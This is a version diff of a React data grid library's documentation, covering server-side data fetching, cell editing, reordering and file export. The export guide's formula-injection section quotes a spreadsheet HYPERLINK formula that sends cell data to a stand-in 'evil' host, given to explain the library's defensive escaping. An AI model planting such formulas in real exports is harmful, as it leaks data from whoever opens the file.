@opencorestack/opengridx 2.1.0 → 3.0.1

package/docs/features/data-source.md

@@ -1,15 +1,17 @@
 # 🌐 Server-Side Data Source
 
-Handle millions of rows by connecting OpenGridX directly to your backend API.
+Connect OpenGridX to your backend API so the server does the sorting, filtering and paging.
 
 ---
 
 ## 📑 The `GridDataSource` Interface
 
-The `dataSource` prop is the gateway to server-side operations. When provided, the grid becomes a "thin client" that requests only the data it needs to render the current viewport.
+The `dataSource` prop is the gateway to server-side operations. The grid calls `getRows` with a row range and the current sort, filter and aggregation models, and shows the rows it returns. Requests are page-based (see *Modes of Operation*), not driven by the scroll position.
 
 ### Implementation
 ```tsx
+import { DataGrid, type GridDataSource } from '@opencorestack/opengridx';
+
 const myDataSource: GridDataSource = {
   getRows: async (params) => {
     const { startRow, endRow, sortModel, filterModel } = params;
@@ -23,12 +25,20 @@ const myDataSource: GridDataSource = {
     
     return {
       rows: data.items,
-      rowCount: data.totalCount // Required for stable pagination
+      rowCount: data.totalCount // the total, used by the pager with paginationMode="server"
     };
   }
 };
 
-<DataGrid dataSource={myDataSource} />
+<DataGrid
+  rows={[]}
+  columns={columns}
+  dataSource={myDataSource}
+  pagination
+  paginationMode="server"
+  sortingMode="server"
+  filterMode="server"
+/>
 ```
 
 ---
@@ -38,28 +48,41 @@ const myDataSource: GridDataSource = {
 | Parameter | Type | Description |
 | :--- | :--- | :--- |
 | `startRow` | `number` | The starting index of the requested range. |
-| `endRow` | `number` | The ending index (exclusive). |
+| `endRow` | `number` | The ending index (exclusive): return `rows.slice(startRow, endRow)`. `Number.MAX_SAFE_INTEGER` means "every row". |
 | `sortModel` | `GridSortItem[]` | Current sorting configuration. |
 | `filterModel` | `GridFilterModel` | Current filtering configuration. |
-| `groupKeys` | `string[]` | Active expansion path (used for server-side tree data). |
+| `groupKeys` | `string[]` | Path of the parent whose children are requested (server-side tree data); empty for top-level rows. |
+| `aggregationModel` | `GridAggregationModel \| undefined` | Current aggregation configuration, so the server can return `aggregationResults`. |
 
 ---
 
 ## 🔄 Modes of Operation
 
-### 1. Server-Side Pagination
-Set `paginationMode="server"`. The grid will request fresh data every time the page changes.
+The grid calls `getRows` whenever a `dataSource` is set. Rapid changes are collapsed into one request (300 ms debounce); the loading state shows from the moment a request is scheduled. Rows are keyed with `getRowId`.
+
+### 1. Client Pagination (default)
+With `paginationMode="client"` (the default) the grid requests every row once (`startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`) and pages them itself. With `sortingMode="server"` or `filterMode="server"` a sort or filter change requests every row again with the new model; client-side sorts and filters, and page changes, never refetch.
+
+### 2. Server-Side Pagination
+Set `paginationMode="server"`. Each page change requests `[page * pageSize, (page + 1) * pageSize)` and the response replaces the rows. Return `rowCount` so the pager knows the total.
 
-### 2. Infinite Loading
-Set `paginationMode="infinite"`. The grid will request the next "chunk" of data as the user scrolls near the bottom of the list.
+Row grouping turns pagination off (every group renders in one scrollable view). With `rowGroupingModel` set, a `paginationMode="server"` source is therefore asked for every row (`startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`) instead of the first page, and a development warning says so (v3.0+; before, only the first page was requested and the rest were unreachable).
 
-### 3. Server-Side Tree Data
-When `treeData` is enabled with a `dataSource`, OpenGridX will call `getRows` with `groupKeys`. You should return the children for that specific parent path.
+### 3. Infinite Loading
+Set `paginationMode="infinite"` and advance `paginationModel.page` (for example from `onRowsScrollEnd`). The grid requests the rows from the end of what is loaded up to the current page and appends them, so a page that moves on while a request is in flight never leaves a gap. See [Infinite Scroll](infinite-scroll.md).
+
+### 4. Server-Side Tree Data
+When `treeData` is enabled with a `dataSource`, top-level rows come from the normal request. A row with `serverChildrenCount > 0` shows an expand toggle; expanding it calls `getRows` with that row's path in `groupKeys` (and `startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`). Return that parent's children. With `filterMode="server"` / `sortingMode="server"` the returned rows are neither re-filtered nor re-sorted in the tree. When a refetch replaces the rows (page, sort, filter), the children of nodes that are still expanded are requested again. If a children request fails, the node collapses again and the error is logged; expanding it retries. (It does not show the grid-level error overlay.) `defaultGroupingExpansionDepth` counts a node with `serverChildrenCount > 0` as expandable, so the nodes within that depth (all of them with `-1`) start expanded and their children are requested right away (v3.0+; before, lazy nodes were never expanded by the default depth).
+
+### When a refetch happens
+Models are compared by content, so an inline `filterModel={{ items: [] }}` or a `dataSource={{ getRows }}` object recreated with the same `getRows` function does not refetch. A new `getRows` function does. A response for parameters that have changed in the meantime is discarded.
 
 ---
 
 ## 🛠️ Error Handling
-If your API call fails, you should throw an error or return a rejected promise. OpenGridX will automatically display the **Error Overlay** with a "Retry" button.
+If your API call fails, throw an error or return a rejected promise. OpenGridX shows the **Error Overlay** with the rejection's `message` (an `Error`, a string, or any object with a string `message`) and a **Retry** button that requests the rows again.
+
+A response the grid cannot use fails the same way (v3.0+): a response without a `rows` array, or a `getRowId` that throws for a fetched row, shows the error overlay and ends the loading state, instead of an unhandled promise rejection and an endless "Loading". For a children request (server-side tree data) it collapses the node as a failed request does.
 
 ```typescript
 getRows: async () => {

package/docs/features/editing-reordering.md

@@ -10,12 +10,33 @@ OpenGridX supports inline cell editing. For a column to be editable, you must se
 
 ### Basic Setup
 ```tsx
-const columns = [
+import type { GridColDef } from '@opencorestack/opengridx';
+
+const columns: GridColDef[] = [
   { field: 'name', editable: true },
   { field: 'role', editable: true, type: 'singleSelect', valueOptions: ['Admin', 'Editor'] }
 ];
 ```
 
+Double-click a cell or press **Enter** on a focused cell to open its editor.
+
+### Which cells can be edited
+A cell is editable when its column has `editable: true` **and**, if you pass it, `isCellEditable` returns `true`. The same rule drives double-click, Enter, the cells **Tab** stops on while editing, and `aria-readonly`.
+
+```tsx
+<DataGrid
+  columns={columns}
+  rows={rows}
+  // Lock archived rows, whatever the column says.
+  isCellEditable={({ row }) => row.status !== 'archived'}
+/>
+```
+
+- `isCellEditable` can only restrict. It cannot make a column without `editable: true` editable. If it throws, the cell is treated as read-only.
+- Row-grouping group rows and the ancestors tree data generates for missing path segments are never editable. Tree-data **parent rows are your own rows** and are editable like any other row.
+- Pinned rows (`pinnedRows`) are edited like any other row, with double-click or Enter (v3.0; they used to show no editor).
+- **Enter** on a cell that is not editable does what clicking its row does (`onRowClick`, click-to-select, expanding a group). See [Keyboard & Accessibility](keyboard-navigation.md).
+
 ### Persistence
 When a cell edit is committed, the `processRowUpdate` callback is triggered.
 
@@ -33,6 +54,82 @@ When a cell edit is committed, the `processRowUpdate` callback is triggered.
 />
 ```
 
+`processRowUpdate` must return the row to store (or a Promise of it). The grid stores that row under the id of the row you edited, so a server response that lacks the key field (for example the `uid` read by `getRowId={r => r.uid}`) is still applied. The row is stored as returned: the grid never adds an `id` field to it (v3.0+). Returning nothing is a mistake the grid reports through `onProcessRowUpdateError` (or `console.error` in development when no handler is set); the editor stays open.
+
+### Commit and cancel
+
+| Action | Result |
+| :--- | :--- |
+| **Enter** | Commits and closes the editor. |
+| **Tab** / **Shift+Tab** | Commits and moves to the next / previous editable cell. With no editable cell left, focus moves on out of the grid and the edit commits. Outside edit mode Tab is not captured: it leaves the grid. |
+| Moving focus away (clicking another cell or any control outside the grid) | Commits. Focus stays where you put it. |
+| The edited cell leaving the grid (scrolled out of the render window, filtered out, another page) | Commits, as if the editor had lost focus. |
+| Starting an edit on another cell | Commits the current edit first. |
+| **Escape** | Discards the pending value and closes the editor. |
+
+Clicks and double-clicks inside an open editor stay in the editor: you can place the caret, select a word or open a dropdown. They do not fire `onCellClick`, `onRowClick` or `onRowDoubleClick`, and do not change row selection. While an IME is composing (Japanese, Chinese, Korean input), **Enter** confirms the candidate and does not commit.
+
+`processRowUpdate` runs **once per commit**. Actions that overlap, such as pressing Enter and then clicking elsewhere while an async save is in flight, share that one call.
+
+With an async `processRowUpdate`, the editor stays open until the Promise settles:
+- **Resolved:** the returned row is stored and the editor closes. If the user kept typing meanwhile, the editor stays open with the newer text, which the next commit saves.
+- **Rejected:** `onProcessRowUpdateError` receives the error and the editor stays open with the pending value, so the user can fix it or press Escape.
+- **Escape while pending** closes the editor at once, but cannot recall the save: when it resolves, the returned row is still stored, because your `processRowUpdate` has already run.
+- A late result never closes an edit the user has started on another cell.
+
+### Built-in editors
+The editor follows the column `type`, and commits values of the same type the cell held.
+
+| `type` | Editor | Committed value |
+| :--- | :--- | :--- |
+| `'string'` (default) | Text input | String. |
+| `'number'` | Number input | Number, or `null` when cleared. |
+| `'boolean'` | Checkbox | Toggling commits immediately. |
+| `'singleSelect'` | `<select>` over `valueOptions` | The option's own value: `{ value: 2, label: 'Closed' }` commits the number `2`, not `'2'`. When the current value is empty or not among the options, an empty choice is shown, so any option can be picked. |
+| `'date'` | Date input | Same kind as before: a `Date` stays a `Date` (keeping its time of day), a timestamp stays a timestamp, an ISO date-time string keeps its time part. `null` when cleared. |
+
+Every editor is labelled with the column's `headerName` (or `field`) for screen readers.
+
+### Custom editors (`renderEditCell`)
+`renderEditCell` receives the usual cell params, with `value` set to the pending value, plus three callbacks:
+
+```tsx
+import type { GridColDef, GridRenderEditCellParams } from '@opencorestack/opengridx';
+
+function RatingEditor({ value, onValueChange, onCommit, onCancel }: GridRenderEditCellParams) {
+  return (
+    <input
+      type="range" min={0} max={5} autoFocus
+      value={Number(value ?? 0)}
+      onChange={e => onValueChange(Number(e.target.value))}
+      onBlur={onCommit}
+      onKeyDown={e => { if (e.key === 'Escape') onCancel(); }}
+    />
+  );
+}
+
+const columns: GridColDef[] = [
+  { field: 'rating', type: 'number', editable: true, renderEditCell: params => <RatingEditor {...params} /> },
+];
+```
+
+Enter and Escape keydowns that bubble out of a custom editor also commit and cancel. An error thrown by `renderEditCell` is contained to its cell (the cell shows `⚠`), like `renderCell`.
+
+### Computed columns (`valueGetter` + `valueSetter`)
+An editable column with a `valueGetter` edits the derived value. Give it a `valueSetter` so the commit can write the value back to the fields it comes from; otherwise the commit writes `row[field]`, which the `valueGetter` ignores, and a development warning is logged.
+
+```tsx
+{
+  field: 'fullName',
+  editable: true,
+  valueGetter: ({ row }) => `${row.firstName} ${row.lastName}`,
+  valueSetter: ({ value, row }) => {
+    const [firstName, ...rest] = String(value).split(' ');
+    return { ...row, firstName, lastName: rest.join(' ') };
+  },
+}
+```
+
 ---
 
 ## ↕️ Row Reordering
@@ -45,10 +142,9 @@ Allows users to rearrange rows by dragging a handle.
 
 ```tsx
 <DataGrid
+  rows={rows}
   rowReordering={true}
-  onRowOrderChange={(params) => {
-    const { oldIndex, targetIndex } = params;
-    // Move logic
+  onRowOrderChange={({ oldIndex, targetIndex }) => {
     const newRows = [...rows];
     const [moved] = newRows.splice(oldIndex, 1);
     newRows.splice(targetIndex, 0, moved);
@@ -57,8 +153,19 @@ Allows users to rearrange rows by dragging a handle.
 />
 ```
 
-> [!IMPORTANT]
-> Row reordering is usually disabled when sorting or filtering is active to prevent index confusion.
+### What the indices mean
+`oldIndex` and `targetIndex` are positions in **your `rows` prop** (v3.0+), so `rows[oldIndex] === params.row` and the splice above always moves the row that was dragged. This holds on every page, with pinned rows, and while the grid is sorted or filtered. (Before v3.0 they were positions in the visible page, which moved the wrong row in all of those cases.)
+
+`params.row` is your own row object, also with `getRowId`.
+
+While the grid is sorted, the new position in `rows` does not change where the row shows up: the sort decides that. Turn sorting off if the drag should visibly move the row.
+
+### Which rows can be dragged
+- Every data row you passed in `rows` can be dragged and dropped on.
+- Pinned rows (`pinnedRows`) keep their place. They show an empty handle cell, so their cells line up with the header, but cannot be dragged or dropped on.
+- Rows the grid makes itself cannot be dragged or dropped on: row-grouping group rows and the tree-data parents generated for missing path segments.
+- While pivot mode is active, row reordering is off (no handle column): pivot rows are generated, so their positions mean nothing in `rows`. It comes back when pivoting ends.
+- Only the grid's own row drags are accepted: dropping a file, a text selection or a header on a row does nothing.
 
 ---
 
@@ -73,26 +180,26 @@ Use the `disableColumnReorder` prop to control this feature globally.
 <DataGrid disableColumnReorder={true} />
 ```
 
+`disableColumnReorder` only removes the user's ways to reorder (header drag, Columns-panel reorder). A controlled `columnOrder` or `initialState.columns.columnOrder` still sets the order, so you can fix a custom order and stop users from changing it.
+
 ### Controlled Column Order
-You can manage the column order state explicitly using `columnOrder` and `onColumnOrderChange`.
+Manage the order yourself with `columnOrder` and `onColumnOrderModelChange`, which receives the whole new order after every change: a header drag, a drag in the Columns panel, and the panel's **Reset**.
 
 ```tsx
-const [colOrder, setColOrder] = useState(['id', 'name', 'status']);
+const [colOrder, setColOrder] = useState<string[]>(['id', 'name', 'status']);
 
 <DataGrid
   columnOrder={colOrder}
-  onColumnOrderChange={(params) => {
-    // params: { column: GridColDef, oldIndex: number, targetIndex: number }
-    const newOrder = [...colOrder];
-    const [moved] = newOrder.splice(params.oldIndex, 1);
-    newOrder.splice(params.targetIndex, 0, moved);
-    setColOrder(newOrder);
-  }}
+  onColumnOrderModelChange={setColOrder}
 />
 ```
 
+`onColumnOrderChange` still fires for every single move, with `{ column, oldIndex, targetIndex }`. The indices are positions in the grid's **full** column order: every current column (hidden columns and the row-grouping `__group__` column included), in its current order. Splicing your `columnOrder` with them is only right when it lists every column; prefer `onColumnOrderModelChange`. The panel's Reset does not fire `onColumnOrderChange`.
+
+Columns missing from `columnOrder` (added later, for example) are still shown, placed by their position in `columns`.
+
 ### Non-Reorderable Columns
-To prevent all columns from being reordered, use `disableColumnReorder` on the grid. For individual column control, pin the column using `pinnedColumns` at the grid level — pinned columns do not participate in drag-reorder.
+To prevent all columns from being reordered, use `disableColumnReorder` on the grid. Pinned columns (`pinnedColumns`, and the row-grouping column) keep their place: their headers cannot be dragged, and a header dropped on them does nothing. Unpin a column to move it. `pinnable: false` only stops a column from being pinned; it can still be reordered (v3.0+).
 
 ```tsx
 // Disable reordering globally
@@ -101,3 +208,5 @@ To prevent all columns from being reordered, use `disableColumnReorder` on the g
 // Keep a column fixed by pinning it
 <DataGrid pinnedColumns={{ left: ['id'] }} />
 ```
+
+Under `columnGroupingModel`, a column can only be dropped on a column of the same group.

package/docs/features/export-guide.md

@@ -22,8 +22,8 @@ import { exportToCsv, exportToExcel, exportToExcelAdvanced, exportToJson, printG
 // CSV
 exportToCsv(rows, columns, { fileName: 'data.csv' });
 
-// Basic Excel (no deps)
-exportToExcel(rows, columns, { fileName: 'data.xlsx' });
+// Basic Excel (no deps) — an HTML table that Excel opens as a legacy .xls
+exportToExcel(rows, columns, { fileName: 'data.xls' });
 
 // Advanced Excel (ExcelJS, lazy-loaded)
 await exportToExcelAdvanced(rows, columns, { fileName: 'data.xlsx' });
@@ -58,16 +58,24 @@ exportToCsv(rows, columns, {
 |---|---|---|---|
 | `fileName` | `string` | `'export.csv'` | Output filename |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `delimiter` | `string` | `','` | Field delimiter |
-| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
+| `delimiter` | `string` | `','` | Field delimiter. Values that contain it (or a quote, LF or CR) are quoted |
+| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
 | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
 | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+| `escapeFormulas` | `boolean` | `true` | Prefix text that starts with `=`, `+`, `-`, `@`, tab or CR with `'` (v3.0+). See [Formula injection](#formula-injection) |
+| `bom` | `boolean` | `true` | Start the file with a UTF-8 byte-order mark so Excel reads non-ASCII text (v3.0+) |
+
+### Formula injection
+
+Spreadsheet apps run any cell that starts with `=`, `+`, `-` or `@` as a formula, so user-entered text such as `=HYPERLINK("http://evil/?"&A2,"Click")` can leak data or run commands when someone opens the export ("CSV injection"). Since v3.0, `exportToCsv` and `exportToExcel` prefix such text — in cells, headers and group labels — with `'`, which makes it plain text. Plain signed numbers (`-12.50`) and text formatted from a number, date or boolean value are left alone. Pass `escapeFormulas: false` only when every exported value is trusted and you need live formulas.
 
 ---
 
 ## 2. `exportToExcel` (basic)
 
-HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format.
+HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format. Excel refuses HTML content named `.xlsx`, so since v3.0 a `.xlsx` file name is renamed to `.xls` (with a console warning); use [`exportToExcelAdvanced`](#3-exporttoexceladvanced--recommended) for a real `.xlsx`. Text cells are marked as text (`mso-number-format:"\@"`), so Excel keeps leading zeros (`00501`), long ids and strings like `1-2` as they are; number, date and boolean columns are left for Excel to type.
 
 ```tsx
 import { exportToExcel } from '@opencorestack/opengridx';
@@ -85,12 +93,15 @@ exportToExcel(rows, columns, {
 
 | Option | Type | Default | Description |
 |---|---|---|---|
-| `fileName` | `string` | `'export.xlsx'` | Output filename |
-| `sheetName` | `string` | `'Sheet1'` | Sheet tab name |
+| `fileName` | `string` | `'export.xls'` | Output filename (`.xlsx` is renamed to `.xls`) |
+| `sheetName` | `string` | `'Sheet1'` | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`; cut to 31 characters |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
+| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
 | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
 | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+| `escapeFormulas` | `boolean` | `true` | Prefix formula-like text with `'` (v3.0+). See [Formula injection](#formula-injection) |
 
 ---
 
@@ -162,7 +173,8 @@ await exportToExcelAdvanced(rows, columns, {
 | `bodyFontSize` | `number` | `10` | Body font size (pt) |
 | `aggregationResult` | `object \| null` | — | Aggregation totals |
 | `aggregationModel` | `object \| null` | — | Aggregation function labels |
-| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets |
+| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets. With no selection, such a sheet has only its header row (v3.0+) |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
 | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` (v2.1+). See [Grouped export](#grouped-export-to-advanced-excel) |
 | `groupHeaderFillColor` | `string` | `'#e8eaf6'` | Group-header row fill (grouped export) |
 | `groupSubtotalFillColor` | `string` | `'#f0f4ff'` | Group-subtotal row fill (grouped export) |
@@ -171,10 +183,10 @@ await exportToExcelAdvanced(rows, columns, {
 
 | Option | Type | Default | Description |
 |---|---|---|---|
-| `name` | `string` | — | Sheet tab name (max 31 chars) |
-| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include |
+| `name` | `string` | — | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`, the name is cut to 31 characters, and a duplicate name (case-insensitive, also between two `summary` sheets) gets a ` (2)` suffix (v3.0+) |
+| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include. `'selected'` writes only `selectedRows`, none when nothing is selected |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom |
+| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom. On a `'selected'` sheet the totals are recomputed over the selected rows |
 | `autoFilter` | `boolean` | `true` | Excel filter dropdowns on header |
 | `frozenHeader` | `boolean` | `true` | Freeze row 1 |
 | `alternateRowColor` | `string \| false` | `'#f8fafc'` | Odd-row fill. `false` to disable |
@@ -183,10 +195,10 @@ await exportToExcelAdvanced(rows, columns, {
 
 | Option | Type | Description |
 |---|---|---|
-| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'` |
+| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'`. Defaults: `type: 'number'` cells get `'#,##0'` for whole numbers and `'#,##0.##'` otherwise; `type: 'date'` gets `'yyyy-mm-dd'` |
 | `width` | `number` | Column width in characters (overrides auto) |
 | `alignment` | `'left' \| 'center' \| 'right'` | Horizontal alignment |
-| `embedImage` | `boolean` | If true, URL in cell is fetched and embedded as image |
+| `embedImage` | `boolean` | If true, the cell's URL (after `valueGetter`) is fetched and embedded as an image. PNG, JPEG and GIF are embedded (detected from the bytes); other formats (SVG, WebP, AVIF) and failed fetches write the URL text instead |
 | `imageWidth` | `number` | Width of embedded image (px, default: 40) |
 | `imageHeight`| `number` | Height of embedded image (px, default: 40) |
 
@@ -204,11 +216,21 @@ await exportToExcelAdvanced(rows, columns, {
 });
 ```
 
-Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (label from the column's `groupingValueFormatter`, else `"Header: value"`), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
+Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (the same label the grid shows — see [Group labels in exports](#group-labels-in-exports)), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies — except `count` and `unique`, which are plain integers (`'#,##0'`) rather than, say, a currency or date, and `min` / `max` of a date column, which are written as dates. When the first column has its own aggregate, its value is written instead of the `Subtotal` label. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
+
+### Group labels in exports
+
+Every exporter (CSV, basic Excel, JSON, print, PDF and advanced Excel) writes the same group-header label the grid shows on screen:
+
+1. the entry's `groupLabel` — set by `apiRef.current.getGroupedExportRows()` from the grid's own label;
+2. else the grouping column's `groupingValueFormatter`;
+3. else `"field: value"`, the grid's documented default.
+
+Before v3.0, only advanced Excel applied `groupingValueFormatter` (falling back to `"Header: value"`), and the other formats always wrote `"field: value"`.
 
 ### Summary Sheet
 
-Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet:
+Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet. Values are numeric cells (v3.0+; they were locale-formatted text before) in the column's `numFmt`, so with `columnStyles: { salary: { numFmt: '$#,##0' } }`:
 
 ```
 | Column       | Function | Value     |
@@ -218,6 +240,22 @@ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone agg
 | Perf. Score  | AVG      | 3.7       |
 ```
 
+The flat `includeSummary` totals row is numeric in the same way.
+
+### Cell types
+
+`exportToExcelAdvanced` writes native cells so Excel can sort, filter and sum them:
+
+| Column / value | Written as |
+|---|---|
+| `type: 'number'` — numbers, and numeric strings such as `'42.50'` | Number |
+| `type: 'boolean'` — booleans, and `'true'` / `'false'` strings | Boolean |
+| `type: 'date'` — `Date`, epoch milliseconds, and ISO strings (`'2024-01-15'`, `'2024-01-15T10:30'`) | Date, with the same calendar day and wall-clock time the grid shows in the user's timezone |
+| A value that is not of the column's type (`'n/a'` in a number column) | The `valueFormatter` text, else the value as text |
+| `NaN`, `Infinity`, Invalid Date, `null` | Empty cell (or the `valueFormatter` text, which also runs for missing values) |
+| Objects and arrays | JSON text. Objects are never handed to ExcelJS as-is, so `{ formula }`, `{ hyperlink }`, `{ richText }` or `{ error }` row data cannot become live formulas or links |
+| Anything else | The `valueFormatter` text, else the value |
+
 ### Feature Comparison: Basic vs Advanced
 
 | Feature | `exportToExcel` | `exportToExcelAdvanced` |
@@ -253,6 +291,8 @@ exportToJson(rows, columns, {
 });
 ```
 
+JSON is a data format, so values are written raw: `valueGetter` is applied, `valueFormatter` is not.
+
 When `aggregationResult` is provided, output shape becomes:
 ```json
 {
@@ -264,6 +304,8 @@ When `aggregationResult` is provided, output shape becomes:
 }
 ```
 
+`aggregation.values` are the raw results (numbers). Before v3.0 they were locale-formatted strings such as `"8,320,000"`. With `groupedRows`, the output is `{ groups, grandTotal }`, and `subtotals` / `grandTotal` contain only exported columns (an `exportable: false` column's totals are left out, v3.0+).
+
 **`JsonExportOptions`:**
 
 | Option | Type | Default | Description |
@@ -271,8 +313,10 @@ When `aggregationResult` is provided, output shape becomes:
 | `fileName` | `string` | `'export.json'` | Output filename |
 | `pretty` | `boolean` | `true` | Pretty-print with indentation |
 | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
 | `aggregationResult` | `object \| null` | — | Append aggregation object |
 | `aggregationModel` | `object \| null` | — | Function labels |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure; output becomes a nested `{ groups, grandTotal }` tree |
 
 ---
 
@@ -300,9 +344,13 @@ printGrid(rows, columns, {
 | Option | Type | Description |
 |---|---|---|
 | `title` | `string` | Print page title |
-| `selectedRows` | `(string\|number)[]` | Print only these row IDs |
+| `selectedRows` | `(string\|number)[]` | Print only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
 | `aggregationResult` | `object \| null` | Append totals |
 | `aggregationModel` | `object \| null` | Label totals |
+| `groupedRows` | `GridGroupedExportRow[]` | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+
+The print window is a same-origin popup, so every value written into it — title, cells, headers, group labels, image URLs and alt text, error messages — is HTML-escaped. `type: 'image'` columns render an `<img>` only for `http(s):`, `data:image/…`, `blob:` and relative URLs; any other value (e.g. `javascript:…`) is printed as text.
 
 ---
 
@@ -310,13 +358,17 @@ printGrid(rows, columns, {
 
 ### Export with toolbar integration
 
+`GridToolbar` has no built-in export action; render your own button with `renderExportButton`. Pass it through `slotProps.toolbar` rather than wrapping `GridToolbar` in an inline `slots.toolbar` function: the grid hands its filter, column and aggregation handlers to the slot component, and a wrapper that drops them leaves the toolbar without its search, Filters, Columns and Summaries controls.
+
 ```tsx
-import { DataGrid, GridToolbar, exportToExcelAdvanced } from '@opencorestack/opengridx';
+import { useState } from 'react';
+import {
+  DataGrid, GridToolbar, exportToExcelAdvanced,
+  type GridColDef, type GridRowModel, type GridRowSelectionModel,
+} from '@opencorestack/opengridx';
 
-function MyGrid() {
-  const [rows, setRows] = useState([...]);
-  const [columns] = useState([...]);
-  const [selected, setSelected] = useState([]);
+function MyGrid({ rows, columns }: { rows: GridRowModel[]; columns: GridColDef[] }) {
+  const [selected, setSelected] = useState<GridRowSelectionModel>([]);
 
   return (
     <DataGrid
@@ -328,10 +380,17 @@ function MyGrid() {
       slots={{ toolbar: GridToolbar }}
       slotProps={{
         toolbar: {
-          onExcelAdvanced: () => exportToExcelAdvanced(rows, columns, {
-            fileName: 'report.xlsx',
-            selectedRows: selected,
-          }),
+          renderExportButton: () => (
+            <button
+              onClick={() => exportToExcelAdvanced(rows, columns, {
+                fileName: 'report.xlsx',
+                sheets: [{ name: 'Selected', rows: 'selected' }],
+                selectedRows: selected,
+              })}
+            >
+              Export to Excel
+            </button>
+          ),
         },
       }}
     />
@@ -355,6 +414,10 @@ await exportToExcelAdvanced(rows, columns, {
 });
 ```
 
+### Columns without a `valueFormatter`
+
+CSV, Excel (HTML), print and PDF write the text the grid shows. Without a `valueFormatter`, that is the column type's default (v3.0): a `date` column writes the local calendar date, `boolean` writes Yes / No, and `singleSelect` writes the `valueOptions` label. JSON and the advanced XLSX export keep raw values.
+
 ### Respect `valueFormatter` for styled columns
 
 The advanced export keeps **raw values** for typed columns (`number`, `date`, `boolean`) so Excel can format them natively with `numFmt`. For `string` columns, `valueFormatter` is applied before writing.
@@ -364,7 +427,7 @@ const columns: GridColDef[] = [
   {
     field: 'salary',
     type: 'number',             // ← raw number written to Excel
-    valueFormatter: ({ value }) => `$${value.toLocaleString()}`, // used in CSV/print
+    valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`, // used in CSV/print
   },
 ];
 
@@ -379,7 +442,7 @@ await exportToExcelAdvanced(rows, columns, {
 
 ## Value Formatters
 
-All export functions respect `valueFormatter` and `valueGetter`:
+Every exporter applies `valueGetter`. CSV, basic Excel, print and PDF write the `valueFormatter` text, as the grid does — since v3.0 the formatter also runs for `null` / `undefined` values, so placeholder text such as `'Unassigned'` or `'—'` is exported (a formatter that throws for a missing value exports an empty cell). JSON writes raw values, and advanced Excel writes typed columns natively (see the note below):
 
 ```tsx
 const columns: GridColDef[] = [
@@ -389,25 +452,34 @@ const columns: GridColDef[] = [
   },
   {
     field: 'salary',
-    valueFormatter: ({ value }) => `$${value.toLocaleString()}`,
+    valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`,
   },
 ];
 ```
 
-> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`.
